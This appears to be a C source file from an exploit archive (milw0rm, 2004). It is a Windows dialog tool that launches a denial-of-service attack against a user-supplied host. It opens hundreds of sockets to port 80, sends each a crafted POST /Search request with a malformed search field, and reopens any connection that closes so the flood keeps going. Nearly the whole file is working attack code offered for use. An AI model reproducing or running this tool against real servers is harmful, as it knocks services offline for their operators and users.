202 lines
No EOL
6.5 KiB
C
202 lines
No EOL
6.5 KiB
C
/*
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http://secunia.com/advisories/13415
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written by dila
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released on 11.12.04
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compile with ms vc++
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remember to link with winsock
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*/
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#define WIN32_LEAN_AND_MEAN
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#include "windows.h"
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#define IDD_MAIN 101
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#define IDI_MAIN 103
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#define IDC_SERV 1000
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#define IDC_SOCKS 1002
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#define IDHALT 1004
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// Next default values for new objects
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//
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#ifdef APSTUDIO_INVOKED
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#ifndef APSTUDIO_READONLY_SYMBOLS
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#define _APS_NEXT_RESOURCE_VALUE 104
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#define _APS_NEXT_COMMAND_VALUE 40001
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#define _APS_NEXT_CONTROL_VALUE 1005
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#define _APS_NEXT_SYMED_VALUE 101
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#endif
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#endif // Combined resource.h - milw0rm.com
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#include <winsock2.h>
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#include <stdio.h>
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#include <stdlib.h>
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#define WM_WSAASYNC (WM_USER +5)
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BOOL CALLBACK DlgProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam);
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int startupClient(HWND hDlg);
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void StopDoS();
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void EnableDoSButton(HWND hDlg);
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void DisableDoSButton(HWND hDlg);
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struct hostent *host_entry;
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struct sockaddr_in server;
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WSAData wsaData;
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char *request="POST /Search HTTP/1.1\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\nAccept-Language: en-us\nContent-Type: application/x-www-form-urlencoded\nAccept-Encoding: gzip, deflate\nContent-Length: 291\nConnection: Keep-Alive\nCache-Control: no-cache\n\nCharSet=ISO-8859-1&FieldID%3A1211.0%3DLONG=0&FieldID%3A1202%3DSTRING=&FieldID%3A1208%3DCHECKBOX=on&FieldID%3A1206%3DCHECKBOX=on&FieldID%3A1204%3DCHECKBOX=on&FieldID%3A1207%3DCHECKBOX=on&FieldID%3A1205%3DCHECKBOX=on&FieldID%3A1209%3DCHECKBOX=on&FieldID%3A1212%3DCHECKBOX=on&Input%3A1211.0=+--\n\n";
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char target[101];
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__int64 timer;
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int *mySocket, sockets=256, isDoS=0, sustain=0, count=0;
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int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
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{
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DialogBoxParam(hInstance, MAKEINTRESOURCE(IDD_MAIN), NULL, (DLGPROC)DlgProc, 0);
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return 0;
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}
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BOOL CALLBACK DlgProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
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{
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switch(uMsg)
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{
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case WM_INITDIALOG:
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int error;
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if ((error = WSAStartup(MAKEWORD(2, 2), &wsaData)) == SOCKET_ERROR){ MessageBox(hDlg, "Could not initialize winsock! Try looking for a winsock update.", "Fatal Error", MB_OK|MB_ICONSTOP); SendMessage(hDlg, WM_CLOSE, 0, 0); }
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EnableDoSButton(hDlg);
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SetDlgItemText(hDlg, IDC_SERV, "");
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SetDlgItemInt(hDlg, IDC_SOCKS, 256, 0);
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return(false);
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case WM_COMMAND:
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if(wParam==IDOK)
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{
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DisableDoSButton(hDlg);
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EnableWindow(GetDlgItem(hDlg, IDHALT), 0);
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GetDlgItemText(hDlg, IDC_SERV, target, 100);
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sockets = GetDlgItemInt(hDlg, IDC_SOCKS, 0, 0);
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if(sockets<2){
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MessageBox(hDlg, "You need more sockets to cause a DoS!", "User Error", MB_OK|MB_ICONWARNING);
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EnableDoSButton(hDlg);
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}else if(strlen(target)<1){
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MessageBox(hDlg, "You need to specify a target!", "User Error", MB_OK|MB_ICONWARNING);
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EnableDoSButton(hDlg);
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}else if(!gethostbyname(target)){
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MessageBox(hDlg, "Unable to resolve target!", "DNS Error", MB_OK|MB_ICONWARNING);
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EnableDoSButton(hDlg);
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}else
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{
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DisableDoSButton(hDlg);
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host_entry = gethostbyname(target);
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server.sin_family = AF_INET;
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server.sin_port = htons(80);
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server.sin_addr.s_addr = *(unsigned long*) host_entry->h_addr;
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mySocket = (int*)realloc(mySocket, sizeof(int)*sockets);
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if(mySocket==NULL){
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mySocket = (int*)realloc(mySocket, sizeof(int)*sockets);
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if(mySocket==NULL){
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SetFocus(hDlg);
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MessageBox(hDlg, "Too many sockets and not enough memory.", "Memory allocation failed!", MB_OK|MB_ICONWARNING);
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EnableDoSButton(hDlg);
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}
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}else{
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memset(mySocket, 0, sizeof(mySocket));
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isDoS=1;
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PostMessage(hDlg, WM_WSAASYNC, 0, 0);
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}
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}
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}else if(wParam==IDHALT)
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{
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sustain=0;
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count=0;
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isDoS=0;
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StopDoS();
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EnableDoSButton(hDlg);
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SetFocus(hDlg);
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StopDoS();
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MessageBox(hDlg, "All sockets have been shutdown!", "Information", MB_OK|MB_ICONINFORMATION);
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}
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return(false);
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case WM_CLOSE:
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WSACleanup();
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DestroyWindow(hDlg);
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return(true);
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case WM_WSAASYNC:
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if(isDoS)
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{
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mySocket[count] = startupClient(hDlg);
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SetDlgItemInt(hDlg, IDC_SOCKS, sockets-count, 0);
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if(count<sockets) count++;
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else{
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count=0;
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isDoS=0;
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sustain=1;
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EnableWindow(GetDlgItem(hDlg, IDHALT), 0);
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SetFocus(hDlg);
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MessageBox(hDlg, "DoS in progress! Click OK to release sockets.", "Information", MB_OK|MB_ICONINFORMATION);
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PostMessage(hDlg, WM_COMMAND, IDHALT, 0);
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}
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}else if(sustain==1)
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{
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if(GetTickCount()>timer)
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{
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int fcount;
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for(fcount=0; fcount<sockets+1; fcount++) if(mySocket[fcount]==0) break;
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if(fcount==sockets && mySocket[fcount]!=0)
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{
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MessageBox(hDlg, "all sockets where disconnected!", "DEBUG", MB_OK);
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}else{
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mySocket[fcount] = startupClient(hDlg);
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}
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timer=GetTickCount()+1000;
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}
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}
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if(WSAGETSELECTEVENT(lParam)==FD_CONNECT)
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{
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send(wParam, request, strlen(request), 0);
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}else if(WSAGETSELECTEVENT(lParam)==FD_CLOSE)
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{
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if(isDoS)
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{
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int icount;
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for(icount=0; icount<sockets+1; icount++) if((unsigned int)mySocket[icount]==wParam) break;
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closesocket(wParam);
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mySocket[icount] = startupClient(hDlg);
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}else if(sustain)
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{
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int icount;
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for(icount=0; icount<sockets+1; icount++) if((unsigned int)mySocket[icount]==wParam) break;
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closesocket(wParam);
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mySocket[icount] = startupClient(hDlg);
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}
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}
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}
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return(false);
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}
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int startupClient(HWND hDlg) {
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int tmpSocket = socket(AF_INET, SOCK_STREAM, 0);
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if (tmpSocket == SOCKET_ERROR) return 0;
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WSAAsyncSelect(tmpSocket, hDlg, WM_WSAASYNC, FD_CONNECT|FD_CLOSE);
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int error = connect(tmpSocket, (sockaddr*)&server, sizeof(server));
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if(error) tmpSocket=0;
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return tmpSocket;
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}
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void StopDoS()
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{
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int hcount;
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for(hcount=0; hcount<sockets+1; hcount++) closesocket(mySocket[hcount]);
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}
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void EnableDoSButton(HWND hDlg)
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{
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EnableWindow(GetDlgItem(hDlg, IDHALT), 0);
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EnableWindow(GetDlgItem(hDlg, IDC_SERV), 1);
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EnableWindow(GetDlgItem(hDlg, IDC_SOCKS), 1);
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EnableWindow(GetDlgItem(hDlg, IDOK), 1);
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}
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void DisableDoSButton(HWND hDlg)
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{
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EnableWindow(GetDlgItem(hDlg, IDOK), 0);
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EnableWindow(GetDlgItem(hDlg, IDC_SERV), 0);
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EnableWindow(GetDlgItem(hDlg, IDC_SOCKS), 0);
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EnableWindow(GetDlgItem(hDlg, IDHALT), 1);
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}
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// milw0rm.com [2004-12-15]
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